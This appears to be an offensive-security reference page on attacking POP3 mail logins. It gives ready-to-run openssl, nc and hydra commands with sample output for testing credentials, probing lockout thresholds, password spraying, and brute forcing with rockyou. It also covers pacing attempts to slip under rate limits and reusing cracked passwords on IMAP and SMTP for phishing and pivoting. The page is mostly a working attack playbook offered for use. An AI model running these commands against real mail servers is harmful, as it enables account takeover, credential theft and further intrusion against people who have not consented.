Skip to content
HackIndex.io

POP3 Credential Attacks

5 min read Created Mar 29, 2026 Last updated Mar 29, 2026

POP3 credential attacks target USER/PASS and SASL AUTH on ports 110 and 995 using a confirmed user list from SMTP user enumeration or other sources. Password spraying across many accounts with a single password is the default approach to avoid lockout. Confirm lockout behavior before running any bulk attack.

Port 110 uses plaintext. Port 995 uses TLS. Both accept the same USER/PASS sequence. SASL AUTH mechanisms vary by server. Dovecot and Cyrus often advertise supported mechanisms in the CAPA response. If PLAIN and LOGIN are available, hydra handles them automatically with the pop3 and pop3s modules.

Build your user list from SMTP VRFY or RCPT TO probing before starting. A quality list of 20 to 50 valid accounts is more effective than spraying blind against thousands. If enumeration was skipped, complete SMTP user enumeration first.

  • Confirm Authentication Works Manually
  • Check Lockout Behavior
  • Password Spraying with hydra
  • Brute Force Single Account: Port 110
  • Validate Credentials on Other Services

Confirm Authentication Works Manually

Test a known credential pair first to confirm the auth flow and identify the success and failure response strings hydra needs.

The +OK response after PASS confirms a valid login. The STAT response showing message count confirms full mailbox access. Hydra needs to know both the success and failure strings to classify results correctly. Without confirming these manually, a false positive or false negative pattern causes hydra to misreport hits. The -e ns flags also test null passwords and passwords matching the username automatically.

┌──(kali㉿kali)-[~]
└─$ echo -e "USER $USER\nPASS $PASSWORD\nSTAT\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null 
+OK Dovecot ready.
+OK
+OK 14 messages (42560 octets)
.
┌──(kali㉿kali)-[~]
└─$ echo -e "USER $USER\nPASS wrongpassword\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null | grep -iE 'ok|err|fail' 
-ERR [AUTH] Authentication failed.

Check Lockout Behavior

Send several failed attempts and watch for rate limiting or lockout before running bulk attacks.

Watch for the error message changing between attempts. A consistent -ERR AUTH response means the server is not yet locking out. A different message on a later attempt is the lockout signal. Some servers close the connection immediately after the threshold is reached. Others keep the connection open but reject all subsequent AUTH attempts. Dovecot uses auth penalty delays and often integrates with fail2ban. A 10-second delay between attempts can bypass softer rate limits. Document the exact threshold before continuing.

┌──(kali㉿kali)-[~]
└─$ for i in $(seq 1 6); do echo -n "Attempt $i: "; echo -e "USER $USER\nPASS wrongpass$i\nQUIT" | nc -nv $TARGET_IP 110 2>/dev/null | grep -oE '(\+OK|-ERR.*)' | tail -1; sleep 1; done 
Attempt 1: -ERR [AUTH] Authentication failed.
Attempt 2: -ERR [AUTH] Authentication failed.
Attempt 3: -ERR [AUTH] Authentication failed.
Attempt 4: -ERR [AUTH] Authentication failed.
Attempt 5: -ERR [AUTH] Authentication failed.
Attempt 6: -ERR [AUTH] Too many authentication failures.

A lockout response after attempt 6 means maximum 5 attempts per account before lockout. Switch to password spraying with significant delays, or reduce attempts per account to 3 with a long wait between rounds.

A safe strategy with a strict lockout policy is one password per account per 30-minute window. Use -W 30 in hydra to set a 30-second wait between attempts, or script the spray with explicit sleep between rounds. Avoid running multiple hydra threads against different accounts simultaneously. The aggregate attempt rate can still trigger IP-based blocking even when per-account limits are not exceeded.

Password Spraying with hydra

Spray one password across all accounts. Start with high-probability passwords before moving to larger lists.

The -t 5 flag limits parallel tasks to five. The -W 3 flag adds a 3-second wait between each attempt. Both values keep the spray rate low enough to stay under most lockout thresholds. A hit appears in the output with the login and password fields populated. After a credential is found, stop the spray and verify it manually before using it further. Hydra occasionally reports false positives against servers that return ambiguous responses.

┌──(kali㉿kali)-[~]
└─$ hydra -L /tmp/pop3_users.txt -p 'Password123' -s 995 $TARGET_IP pop3s -t 5 -W 3 
[995][pop3s] host: 10.10.10.50   login: john.smith   password: Password123
for password in 'Password123' 'Welcome1' 'Company2024!' 'Summer2026' 'P@ssword1'; do
  echo "[*] Spraying: $password"
  hydra -L /tmp/pop3_users.txt -p "$password" -s 995 $TARGET_IP pop3s -t 3 -W 5 2>/dev/null | grep 'host:'
done

Brute Force Single Account: Port 110

When no lockout is enforced and you have a single high-value target, brute force against port 110 directly.

Confirm the absence of lockout before running this. Brute force without lockout confirmation risks account lockout on production systems. Start with the 10k common password list because it is fast and catches weak passwords quickly. Move to rockyou only if the common list fails. Empty hydra output means no match in the wordlist, not that the account is impenetrable. The -t 10 flag increases parallelism. Lower it to 3 or 5 if the server drops connections mid-run.

┌──(kali㉿kali)-[~]
└─$ hydra -l $USER -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -s 110 $TARGET_IP pop3 -t 10
┌──(kali㉿kali)-[~]
└─$ hydra -l $USER -P /usr/share/wordlists/rockyou.txt -s 995 $TARGET_IP pop3s -t 10

Validate Credentials on Other Services

POP3 credentials are often reused. Test immediately against IMAP, SMTP submission, OWA, and SSH.

The IMAP test uses the IMAP LOGIN command over port 993. An "OK Logged in" response confirms the credential works on IMAP. The SMTP AUTH test uses swaks against port 587 with TLS. A 235 response code means authentication succeeded and you can send mail as that account. This matters for phishing and mail pivoting. Also test any VPN portals, OWA, or SSH instances you have identified. Mail servers frequently share credentials with underlying OS accounts, making POP3 access a stepping stone to system-level access.

┌──(kali㉿kali)-[~]
└─$ echo -e "a001 LOGIN $USER $PASSWORD\na002 LIST \"\" *\na003 LOGOUT" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep -iE 'ok|no|list' 
a001 OK Logged in.
a002 OK List completed.
┌──(kali㉿kali)-[~]
└─$ swaks --to $USER@$DOMAIN --from $USER@$DOMAIN --server $TARGET_IP --port 587 --tls --auth LOGIN --auth-user $USER --auth-password $PASSWORD 2>&1 | grep -iE '235|535|auth' 
<-  235 2.7.0 Authentication successful

References